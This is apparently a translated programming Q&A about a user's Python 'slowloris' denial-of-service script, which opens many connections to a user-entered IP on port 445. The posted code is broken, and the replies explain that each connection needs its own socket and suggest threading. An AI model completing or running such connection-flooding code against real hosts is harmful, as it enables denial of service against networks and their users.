Многосетевое подключение к серверу Python

#python #sockets

#python #сокеты

Вопрос:

Я получаю эту ошибку в сокете python. Моя цель — создать медленную атаку lorris, но у меня возникают проблемы с получением нескольких подключений к моему маршрутизатору в рамках одной программы

Я хочу получить количество сокетов в списке для вызова

 import socket
import time
import os
import random

socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

def clear():
    os.system("cls")

print("Starting...")
print("press enter to start")
agreement = input("")

port = 445
port_s = str(port)
socket.settimeout(4)


list_of_sockets = []

import socket
servers = [] #add servers here
if agreement == "":
    clear()
    print("")


    print("welcome...")
    target = input("ip target>>>")
    print("defult port is "   port_s)
    print("-" * 10   " START "   "-" * 10)
    print("")
    def connect_to():
        int_nob = int(200)#num of bots
        for x in range(0, int_nob):
            print(int(int_nob))
            int_nob -= 1
            int_nob = socket.connect((target, port))
            int_nob.send("User-Agent: {}rn".format(random.choice(user_agents)).encode("utf-8"))
            client = new Client()
            if int_nob == 0:
                print(list_of_sockets)
                print("resending sockets of "   int_nob)
    while True:
        connect_to()
    else:
        print("breaking...")
        exit()
  

ошибка

 Traceback (most recent call last):
  File "C:Userstownte23Desktopslow lorris,.py", line 78, in <module>
    connect_to()
  File "C:Userstownte23Desktopslow lorris,.py", line 71, in connect_to
    a = socket.connect((target, port))
OSError: [WinError 10056] A connect request was made on an already connected socket
  

Я действительно каннибализировал чужой код, но большая его часть моя
https://github.com/gkbrk/slowloris/blob/master/slowloris.py

Я обнаружил похожую проблему, но это была проблема с сервером, поэтому я не уверен, как подойти к этой ошибке

Редактировать: найдена проблема и решение

 int_nob = int(200)
for
     int_nob = socket.connect(())
     int_nob.send(bytes("thing"))
     int_nob -= 1
  

Ответ №1:

 socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
...
    def connect_to():
        ...
        for x in range(0, int_nob):
            ...
            a = socket.connect((target, port))
            ...
    while True:
        connect_to()
  

Вы не можете выполнить несколько подключений к одному и тому же сокету, но вы должны создавать новый сокет для каждого нового подключения. Кроме того, очень сбивает с толку то, что вы вызываете свой сокет просто, socket поскольку это конфликтует по имени с импортируемым вами модулем socket .

Комментарии:

1. как бы я создал другую переменную для каждого сокета в цикле for?

2. @anunexpectedperson: Вам не нужна другая переменная. Но вам нужно создавать новый сокет для каждого подключения, т.Е. c = socket.socket(....)... c.connect(...)

3. но как бы я реализовал это в цикле для соединений

4. @anunexpectedperson вам, вероятно, придется создавать каждый сокет в виде отдельных неблокирующих потоков (каждый раз, когда вы запускаете connect_to, генерируйте новый поток). В конечном итоге вы можете превысить лимит потока, хотя … если вы не сможете достаточно быстро закрыть потоки и их количество ссылок равно 0

5. Еще одна проблема заключается в том, что сокеты обычно не становятся пригодными для повторного использования, пока не закроется весь скрипт python.